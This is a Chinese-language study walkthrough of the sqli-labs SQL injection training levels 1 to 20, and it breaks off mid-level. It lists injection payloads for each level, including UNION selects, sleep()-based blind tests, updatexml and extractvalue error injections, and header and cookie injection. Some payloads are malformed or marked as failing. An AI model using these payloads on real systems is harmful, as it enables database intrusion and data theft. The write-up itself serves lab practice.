Less-1:
Id=1' union select 1,2,3 from users --+
Less-2:
Id=1' union select 1,2,3 from users--+ 失效
原因为何:
可以看到:$id 不再被 ' ' 号闭合,故自己构造的sql语句是不会在数据库执行的,即使源代码有回显,但是源代码中回显的数据来源是执行了sql语句的结果。而源码的执行sql语句中,只是把 $id 当作一个整形变量,并不是一个可解析的字符串(没有‘’号闭合)。
然而,整形变量 可以利用布尔语句进行判断:
If 、 and 、or 、=
构造如下:
?id=1 and 1=if (database()='security',1,0)--+
这种情况可以升级为布尔型盲注入(即无任何回显),但是可以通过burp来对进行id参数进行爆破,从而获取数据库的信息(前提是存在注入点)
Less-3:
以上的构造又不行了。原因是
可以看到,$id 不仅被 ‘’ 号包裹,外面还多了一层()。虽然也是存在sql注入,但是我们构造的sql语句要考虑()号包裹的问题。且在括号内,sql语句是执行不了的。所以要想办法把( 这个符号闭合后,再执行我们的sql语句。
构造如下:
?id=-1')union select 1,2,3 from users --+
成功注入。
Less-4:提示是 双引号包裹错误,但是在双引号外还会有一层()号包裹
构造语句的思路是,让 id 查询正确执行的同时,且执行构造的sql语句
构造如下:
?id=-1")union select 1,2,3 from users--+
成功注入。
Less-5:查询结果无回显,提示是让我们进行二次注入,但是在实战中,找到注入点基本就完事了。
对于无回显的注入,如何判断存在注入点?可以利用sleep()。
在less-5中,只是对查询结果没有回显,但是有报错回显。
构造如下:
?id=-1 ’ and select 1,2,3 from users--+
成功注入:即使id=负值,也会查询到结果,说明数据库执行了我们构造的语句
Less-6:双引号报错,对比less-4,还少了()包裹,故还简单了
构造如下:
?id=-1"union select 1,2,3 from users--+
成功注入。
Less-7:提示是dumping outfile ,啥玩意?
从源码看,只是多用了两层()号包裹,如法炮制:
?id=-1 ' ))union select 1,2,3 from users--+
用两个 ) 号去包裹 $id ,并同时执行我们构造的sql 语句,成功注入。
Less-8:布尔盲注,无报错,无查询结果回显
构造如下:
?id=-1 ' union select 1,2,3 from users--+
同样,id=-1,正常来说是不会回显东西,但是执行了后续的sql语句所以还是会出现回显。
Less-9:盲注,利用sleep
构造如下:
?id=1 ' and sleep(5)--+
可以看到,页面延时了5s,故执行了sleep(5)语句,利用时可以把sleep(5)替换成盲注时的判断语句:if、substring等等一些爆破语句
Less-10:双引号包裹,盲注入
构造如下:
?id=1"and sleep(5) --+
成功注入。
Less-11:
猜测查询的语句:
Select * from users where username = '$username' and password = '$password';
其中,$username 是输入的用户名,$password 是输入的密码。
那么,我们注入的地方有两个,username 和 password ,但是如何选取?
正常来说,应该是password。因为这条sql语句的尾端就是查询密码的时候。其实 username 也可以,只要注释掉后面的sql语句
构造如下:
不起效果,这里是因为post 中的sql注释符,只能选 “#”
其实就是和我猜测的一样,有很多种方式过。
构造如下:1' union select 1,2 from users #
Less-12: 双引号包裹+括号
构造如下:
username: dumb
password:dumb1 ")union select 1,2 from users#
成功注入。
Less-13:单引号包裹 + 括号
构造如下:
dumb' ) union select 1,2 from users --+
成功注入。
Less-14:双引号包裹,无回显
dumb " union select 1,2 from users #
Less-15:单引号包裹,时间盲注入
在源码中,它把用户名和密码的回显注释掉了,但是没关系只要它执行了我们构造的sql语句即可。
username:dumb
password:123 ' union select 1,2 from users #
成功注入。
Less-16:布尔盲注入,双引号+括号
构造如下:
123 ") union select 1,2 from users#
成功注入。
Less-17:使用了一些过滤手段,且更换了一种语句(update)
在常规的过滤方法(没有使用pdo,利用gpc和addcslashes、mysql_real_escape_string)
但是在less-17,没有对用户输入的password进行过滤
构造如下:
username:dumb
password:dumb' WHERE username='dumb'#
可以看到语句正常执行
构造如下:
username:dumb
password:dumb ' or updatexml(1,concat(0x7e,(select user()),0x7e),1) or'
考虑到这个是update语句,故使用updatexml()来进行报错注入。成功注入。
注:updatexml 报错注入的前提是目标源码中有 print_r(mysql_error());
等报错函数的输出。
另外,还可以对其用sleep(),构造如下:
username:dumb
password:dumb ' or sleep(5)or '
利用extractvalue() 进行注入:
' or extractvalue(1,concat(0x5e24,(database()))) or '
可是,如果还想在username 进行注入,那么就要绕过gpc、addcslashes()等等:
首先,考虑二次注入。
//查询:SELECT username, password FROM users WHERE username= $uname LIMIT 0,1;
// 更新: $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
可以看见,在第二条update语句中,$row1是从$row中的['username']来对,且$row是数据库中用户名的查询结果。而查询前,代码对用户名输入进行了过滤。第二条update语句并没有使用到用户输入的username,故在username不存在二次注入。(也没有insert、update语句去更新username)
考虑编码绕过,查看数据库编码,为gbk。(没有复现成功)
Mysql_real_escape_string (): 主要用来对字符串进行转义
Mysql_escape_string ():
Gpc:
Less-18:
username:dumb
Password:0 (这里的密码在之前的关卡全修改为0了,在后台可以查看下密码)
回显出现了 http-agent,这里可能有三种情况:
- 数据库存储你发送的http头,并查询回显,或回显再存储
- 前端代码(js)来解析你的http包,回显页面
- 后端代码(php、java)解析你的http包,回显
对于username、password,都对其进行过滤。
但是注意到:目标服务器还会读取客户端发送的http头
其中,$ip是tcp协议中读取的?
然后,使用insert 语句且没有过滤。(注册、上传)
bp抓包,注意到目标系统在输入正确用户名、密码才会insert:
构造如下: ' or sleep(5) or' 也可以利用报错注入updatexml(),因为目标系统也有 print(mysql_error)
当然,这些可以利用的条件在真实情况中会减少非常多,比如报错、没有过滤等等。
Less-19:同样的,在http的referer 存在注入
Less-20:cookie 注入
客户端提交的cookie在某一个http中,利用bp捕获:
同时,delect cookie 也会 submit ,两个包都是利用 username来绑定。猜测逻辑:登录->insert cookie (by username)->delect cookie(by username);
构造如下:
没有利用成功。
将sleep(5) 后面语句注释掉
成功利用。
源码审计:
可以看到,只有$_cookie['uname'] 不存在,才会执行form 表单,故可以看到为什么要 删除cookie。
用户名、密码都被过滤。
在通过登录验证后,若没有cookie,就给客户端设置cookie(设置为用户名)
同时,若存在cookie:
显示后续页面,即显示客户端http包的内容、删除cookie的选项。
注意到这里,有一个没有经过过滤的cookie查询,如果可以修改这个cookie,那么就会触发sql注入。(事实上也是这么利用的)。且这里有好几个header(),所以页面逻辑:
有无cookie:
- 有,进入回显,给出删除cookie的选项(设置cookie时间),回到登录页面
- 无,登录页面
- 如果在1.中删除cookie,刷新index.php,根据逻辑会进入到2.
关于 setcookie():
那么我们可以自己构建cookie:
观察到源码:
数据包:
在输入用户名、密码时;构造如下: